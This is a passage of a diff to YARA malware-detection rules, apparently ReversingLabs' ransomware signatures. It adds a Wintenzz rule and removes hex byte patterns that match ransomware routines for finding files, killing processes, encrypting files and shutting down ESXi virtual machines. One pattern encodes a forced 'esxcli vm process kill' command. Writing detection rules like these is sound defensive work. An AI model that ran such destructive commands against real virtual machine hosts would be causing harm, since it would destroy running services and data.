-            85 C0 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ??
-            ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 46 ?? 8B 4C 24
-            ?? 83 C0 ?? 83 C1 ?? 89 44 24 ?? 89 44 24 ?? 8B 46 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($generate_key) and ($drop_ransom_note)
+}
+rule REVERSINGLABS_Win64_Ransomware_Wintenzz : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Wintenzz ransomware."
+		author = "ReversingLabs"
+		id = "6bf569e8-b050-51ef-a948-0eb294248d63"
+		date = "2021-11-02"
+		modified = "2021-11-02"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Wintenzz.yara#L1-L83"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ff4bdf2f6ee185b98d0014b3066806fe7e25ea94f46837948bc5262440bf8a56"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Wintenzz"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            48 8D 75 ?? 41 B8 ?? ?? ?? ?? 48 89 F1 31 D2 E8 ?? ?? ?? ?? 48 89 F9 48 89 F2 E8 ??
+            ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? 0F 28 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 00 0F 28 85 ?? ?? ??
+            ?? 0F 11 40 ?? 48 8B 8D ?? ?? ?? ?? 48 89 48 ?? 49 89 77 ?? 49 89 47 ?? 41 C7 47 ??
+            ?? ?? ?? ?? 49 8D 4F ?? 48 8D 55 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 B6 ?? 31 C0
+            49 89 07 48 85 DB 75 ?? EB ?? E8 ?? ?? ?? ?? 48 C1 E0 ?? 49 89 47 ?? 49 C7 47 ?? ??
+            ?? ?? ?? B8 ?? ?? ?? ?? 31 F6 49 89 07 48 85 DB 74 ?? 48 01 DB 74 ?? 41 B8 ?? ?? ??
+            ?? 48 89 F9 48 89 DA E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ??
+            ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 40 84 F6 75 ?? 48 8B 8D ?? ?? ?? ?? 48 85 C9 74 ?? 48
+            8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F8 48 81 C4
+            ?? ?? ?? ?? 5B 5F 5E 41 5E 41 5F 5D C3 BA
         }
-		$find_files_v1_p2 = {
-            24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B
-            84 24 ?? ?? ?? ?? 83 E0 ?? 89 44 24 ?? 75 ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ??
-            55 8B 44 24 ?? FF D0 89 C7 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 74 ?? 8B 84 24 ??
-            ?? ?? ?? 8B 5C 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 8B BC 24 ?? ?? ?? ?? 89 C5 EB ?? 8D B6
-            ?? ?? ?? ?? 8B 36 85 F6 74 ?? 8B 46 ?? 8B 56 ?? 31 D8 31 CA 09 C2 75 ?? 8B 46 ?? 8B
-            56 ?? 31 E8 31 FA 09 C2 0F 84 ?? ?? ?? ?? 8B 36 85 F6 75 ?? 8B 6C 24 ?? 8B 7C 24 ??
-            85 FF 74 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? C6 44 05 ?? ?? 8B 44 24 ??
-            85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? 55 8B 44 24 ?? FF D0
-            83 C4 ?? 89 C7 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 66 90 83 EC ?? 6A ?? 55 8B 5C
-            24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8B 00 89 44 24 ??
-            83 C4 ?? 85 FF 79 ?? 83 F8 ?? 0F B6 4C 24 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ??
-            ?? ?? 0F 44 44 24 ?? 0F 45 CA 89 44 24 ?? 88 4C 24 ?? 8B 44 24 ?? 85 C0 0F 85 ?? ??
-            ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D B4
-            26 ?? ?? ?? ?? 8D 76 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 48 ?? 89 4C 24 ?? 89 4C 24 ?? 85 C0 74 ?? 80 7C 05
-            ?? ?? 74 ?? E9 ?? ?? ?? ?? 8D 76 ?? 80 7C 05 ?? ?? 0F 85 ?? ?? ?? ?? 83 E8 ?? 75 ??
-            31 D2 89 54 24 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89
-        }
-		$find_files_v1_p3 = {
-            44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? E9 ?? ?? ?? ?? 90
-            8B 84 24 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? 83 E0 ?? 83 F8 ?? 19 C0 83 E0 ??
-            83 C0 ?? 89 44 24 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 90 8B 74 24 ?? 85 F6 0F 88
-            ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F
-            84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 ?? 89 44 24 ?? 8D B4 26 ?? ?? ?? ?? 8D 76 ??
-            83 EC ?? 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 78 ?? ??
-            0F 84 ?? ?? ?? ?? 83 EC ?? 8D 78 ?? 57 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B 44 24
-            ?? 0F 83 ?? ?? ?? ?? 8B 44 24 ?? 83 EC ?? C6 44 05 ?? ?? 57 8B 44 24 ?? 01 E8 50 8B
-            5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 5A 5B 8D 48 ?? 8D 44 24 ?? 50 89 E8 FF B4 24 ??
-            ?? ?? ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 89 C7
-            56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 0F 84 ?? ??
-            ?? ?? 66 83 78 ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 80 7C 05 ??
-            ?? 8D 48 ?? 89 C2 0F 84 ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 80 7C 05 ?? ?? 8D 50 ??
-            75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 66 90 89 C2 85 D2 0F 84 ?? ?? ?? ?? 80 7C
-            15 ?? ?? 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ??
-            31 FF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC ?? 56 8B 5C 24 ??
-            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 FB BF ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 00 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
-            ?? ?? ?? BF
-        }
-		$kill_processes_v1_p1 = {
-            55 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 E9 56 53 E8 ?? ?? ?? ?? 81 C3
-            ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 66 89 54 24 ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ??
-            C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 8B 83 ?? ?? ?? ??
-            89 44 24 ?? 8B 83 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? F3 A5 8D B4 24 ?? ?? ?? ?? C6 44
-        }
-		$kill_processes_v1_p2 = {
-            24 ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 F7 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 CD C7 44 24 ?? ?? ??
-            ?? ?? B9 ?? ?? ?? ?? 89 E8 F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ??
-            ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ??
-            ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8
-            B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89
-            34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7
-            8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ??
-            ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 89 34
-            24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D
-            44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ??
-            F3 AB FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ??
-            81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3
-        }
-		$shut_down_esxi_v1 = {
-            55 B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 C1 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81
-            EC ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? 65 73 78 63 C7 44 24 ?? 6C 69 20 76 C7 44 24
-            ?? 6D 20 70 72 8D B3 ?? ?? ?? ?? C7 44 24 ?? 6F 63 65 73 F3 A5 8D B4 24 ?? ?? ?? ??
-            C7 44 24 ?? 73 20 6B 69 83 EC ?? 89 F7 C7 44 24 ?? 6C 6C 20 2D C7 44 24 ?? 2D 74 79
-            70 C7 44 24 ?? 65 3D 66 6F C7 44 24 ?? 72 63 65 20 C7 44 24 ?? 2D 2D 77 6F 89 C8 B9
-            ?? ?? ?? ?? C7 44 24 ?? 72 6C 64 2D C7 44 24 ?? 69 64 3D 22 C7 84 24 ?? ?? ?? ?? 25
-            73 22 00 C7 44 24 ?? 5B 45 53 58 C7 44 24 ?? 69 5D 20 53 C7 44 24 ?? 68 75 74 74 C7
-            44 24 ?? 69 6E 67 20 C7 44 24 ?? 64 6F 77 6E F3 AB C7 44 24 ?? 20 2D 20 25 8D 83 ??
-            ?? ?? ?? 66 89 6C 24 ?? C6 44 24 ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 8D 44 24 ?? 66 89 7C 24 ?? 31 FF
-        }
-		$kill_processes_v2_p1 = {
-            41 54 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 E4 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 55 48 89
-            FD 53 48 81 EC ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 48 89 84 24 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F
-            6F 05 ?? ?? 00 00 48 89 DF 66 89 44 24 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 44 24
-            ?? 66 0F 6F 05 ?? ?? 00 00 66 89 54 24 ?? 48 89 EA 0F 29 44 24 ?? 66 0F 6F 05 ?? ??
-            00 00 66 89 8C 24 ?? ?? 00 00 B9 ?? ?? ?? ?? 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? 00 00
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6
-            84 24 ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C7 44 24 ?? ??
-            ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 44 24 ?? ?? 0F 29 84 24
-            ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 B8
-        }
-		$kill_processes_v2_p2 = {
-            48 89 44 24 ?? 4C 89 E0 F3 48 AB 48 89 DF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ??
-            ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ??
-            ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8
-            ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D
-            74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF
-            B9 ?? ?? ?? ?? F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48
-            89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89
-            EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ??
-            F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48
-            81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3
-        }
-		$encrypt_files_v2_p1 = {
-            48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 41 57 66 0F EF C0 49 89 FF 41 56 49 89 D6 41 55 49 89
-            F5 BE ?? ?? ?? ?? 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 4C 24 ?? 48
-            8D AC 24 ?? ?? ?? ?? 48 89 DF 4C 89 04 24 0F 29 44 24 ?? 0F 29 44 24 ?? 0F 29 44 24
-            ?? 48 C7 44 24 ?? ?? ?? ?? ?? 0F 29 44 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75
-            ?? 45 31 E4 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF BE ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 44 89 E0 5B 5D
-            41 5C 41 5D 41 5E 41 5F C3 0F 1F 80 ?? ?? ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8D 35 ?? ?? ??
-            ?? 4C 89 FF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 89 FF E8 ??
-            ?? ?? ?? 4C 89 FE 4C 89 EF 48 89 C2 49 89 C4 E8 ?? ?? ?? ?? 8B 54 24 ?? 4B 8D 44 25
-            ?? 31 F6 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? BA ?? ?? ?? ?? 43
-            C6 44 25 ?? ?? 4C 8B 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 45 31
-            E4 E8 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 74 ?? 48
-            8B 7C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8B 7C 24 ?? E8 ?? ??
-            ?? ?? 48 8D 35 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 89 44 24 ?? 49 89 C4 48 85 C0
-        }
-		$encrypt_files_v2_p2 = {
-            0F 84 ?? ?? ?? ?? 31 F6 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24
-            ?? E8 ?? ?? ?? ?? 48 39 44 24 ?? 48 0F 4E 44 24 ?? 48 8D 7C 24 ?? 48 89 C1 48 C1 F9
-            ?? 48 C1 E9 ?? 48 8D 14 08 83 E2 ?? 48 29 CA 48 29 D0 48 89 44 24 ?? E8 ?? ?? ?? ??
-            48 8D BC 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE 48 89 44 24 ?? 31 C0 BA ?? ?? ?? ??
-            F3 48 AB 48 8D 84 24 ?? ?? ?? ?? 48 8B 3C 24 48 89 C1 48 89 44 24 ?? E8 ?? ?? ?? ??
-            41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89
-            EE E8 ?? ?? ?? ?? 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 4C 8D 64 24 ?? 48
-            85 C0 75 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 4D 89 F1 4D 89 E8 4C 89 E9 4C 89 E2
-            48 89 EE 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F6 BA ?? ?? ?? ?? 4C 89 FF 48 F7
-            DE E8 ?? ?? ?? ?? 4C 89 F9 4C 89 F2 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44
-            24 ?? 4C 29 F0 48 89 44 24 ?? 74 ?? 49 39 C6 4C 8B 7C 24 ?? BE ?? ?? ?? ?? 4C 89 EF
-            4C 0F 47 F0 66 0F 6F 4C 24 ?? 4C 89 F9 4C 89 F2 0F 29 4C 24 ?? E8 ?? ?? ?? ?? 4C 39
-            F0 74 ?? 48 8B 7C 24 ?? 41 BC ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FE 4C
-            89 EF E8 ?? ?? ?? ?? E9
-        }
-		$find_files_v2_p1 = {
-            41 57 4D 89 C7 41 56 49 89 FE 41 55 49 89 FD 41 54 55 53 89 CB 48 81 EC ?? ?? ?? ??
-            48 89 34 24 89 54 24 ?? 41 8B 55 ?? 49 83 C5 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ??
-            ?? ?? ?? 74 ?? 89 C2 C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 49 8D 55 ?? 4C 0F 44 EA 89 C6
-            40 00 C6 49 83 DD ?? 31 ED 4D 29 F5 74 ?? 49 8D 6D ?? 43 80 7C 2E ?? ?? 49 0F 45 ED
-            48 8D 44 24 ?? 41 89 DC 4C 89 F6 48 89 44 24 ?? 48 89 C2 BF ?? ?? ?? ?? 41 83 E4 ??
-            0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 00 83 F8
-            ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? 48 8B 44 24 ?? F6 C3
-            ?? 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C 89 7C 24 ?? 48 89 44 24 ?? 4D
-            85 FF 0F 84 ?? ?? ?? ?? 41 8B 47 ?? 8D 55 ?? 89 54 24 ?? 83 C0 ?? 89 44 24 ?? 89 44
-            24 ?? 41 8B 47 ?? 89 44 24 ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ??
-            ?? ?? 89 D8 83 E0 ?? 89 44 24 ?? 75 ?? 44 88 5C 24 ?? 44 89 E2 48 8D 4C 24 ?? 4C 89
-            F7 48 8B 74 24 ?? 48 8B 04 24 44 89 44 24 ?? FF D0 44 8B 44 24 ?? 44 0F B6 5C 24 ??
-            85 C0 89 C2 75 ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 54 24 ?? EB ?? 0F
-            1F 44 00 ?? 4D 8B 3F 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 49 39 57 ?? 75 ??
-            31 D2 48 81 C4 ?? ?? ?? ?? 89 D0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 66 90 E8 ?? ?? ??
-            ?? 85 C0 78 ?? 8B 44 24 ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 3D ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 31 C9 45 31 DB 45 31 E4 48 8B 44 24 ?? F6 C3 ?? 0F 84 ?? ??
-            ?? ?? 4D 85 FF 0F 84 ?? ?? ?? ?? 49 39 47 ?? 75 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 4C
-        }
-		$find_files_v2_p2 = {
-            89 7C 24 ?? 48 89 44 24 ?? E9 ?? ?? ?? ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 E8 ?? ?? ??
-            ?? 49 89 C4 8B 00 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 4C 89 F6 BF ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 DB 41 BC ?? ?? ?? ?? EB
-            ?? 0F 1F 00 8B 4C 24 ?? 85 C9 74 ?? 45 84 DB 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 43 C6 04
-            2E ?? 85 C0 0F 84 ?? ?? ?? ?? 44 89 E2 48 8D 4C 24 ?? 48 8B 74 24 ?? 4C 89 F7 48 8B
-            04 24 FF D0 89 C2 E9 ?? ?? ?? ?? 90 31 F6 4C 89 F7 31 C0 44 88 5C 24 ?? E8 ?? ?? ??
-            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 44 0F B6 5C 24 ?? 44 8B 00 85 FF 79 ?? 41
-            83 F8 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ?? ?? ?? 44 0F 45 DA 44 0F 45 E0 8B 74
-            24 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 7C 24 ?? 44 88 5C 24 ?? 44 89 44 24 ?? E8 ?? ?? ??
-            ?? 44 0F B6 5C 24 ?? 44 8B 44 24 ?? E9 ?? ?? ?? ?? 0F 1F 00 48 89 44 24 ?? 48 8B 44
-            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 8D 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 85 ED 74 ?? 41 80 3C 2E ?? 48 89 E8 74 ?? E9 ??
-            ?? ?? ?? 0F 1F 44 00 ?? 41 80 3C 06 ?? 0F 85 ?? ?? ?? ?? 48 83 E8 ?? 75 ?? 31 D2 89
+		$encrypt_files_p1 = {
+            4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D
+            05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ??
+            48 C7 45 ?? ?? ?? ?? ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 4D ?? 48 8D 55 ??
+            E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 29 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 4D ?? 48 8D 55
+            ?? E8 ?? ?? ?? ?? 48 85 DB 74 ?? BA ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 85 C0 75
+            ?? BA ?? ?? ?? ?? 48 89 D9 E8
         }
-		$find_files_v2_p3 = {
-            54 24 ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 89 D8 B9 ?? ?? ?? ?? 41 BB ?? ?? ?? ?? 83 E0 ??
-            83 F8 ?? 45 19 E4 41 83 E4 ?? 41 83 C4 ?? E9 ?? ?? ?? ?? 0F 1F 44 00 ?? 8B 54 24 ??
-            85 D2 0F 88 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 49 89 C7 48 85 C0 0F 84 ?? ?? ??
-            ?? B8 ?? ?? ?? ?? 44 89 64 24 ?? 4C 29 E8 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 44 24
-            ?? 8B 44 24 ?? 83 E8 ?? 89 44 24 ?? 4C 89 FF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ??
-            ?? 80 78 ?? ?? 74 ?? 4C 8D 60 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 3B 44 24 ?? 0F 83 ?? ??
-            ?? ?? 41 C6 04 2E ?? 49 8D 7C 2E ?? 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 8B 54 24
-            ?? 89 D9 48 8B 34 24 4C 89 F7 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 FF 89 04 24 E8 ?? ??
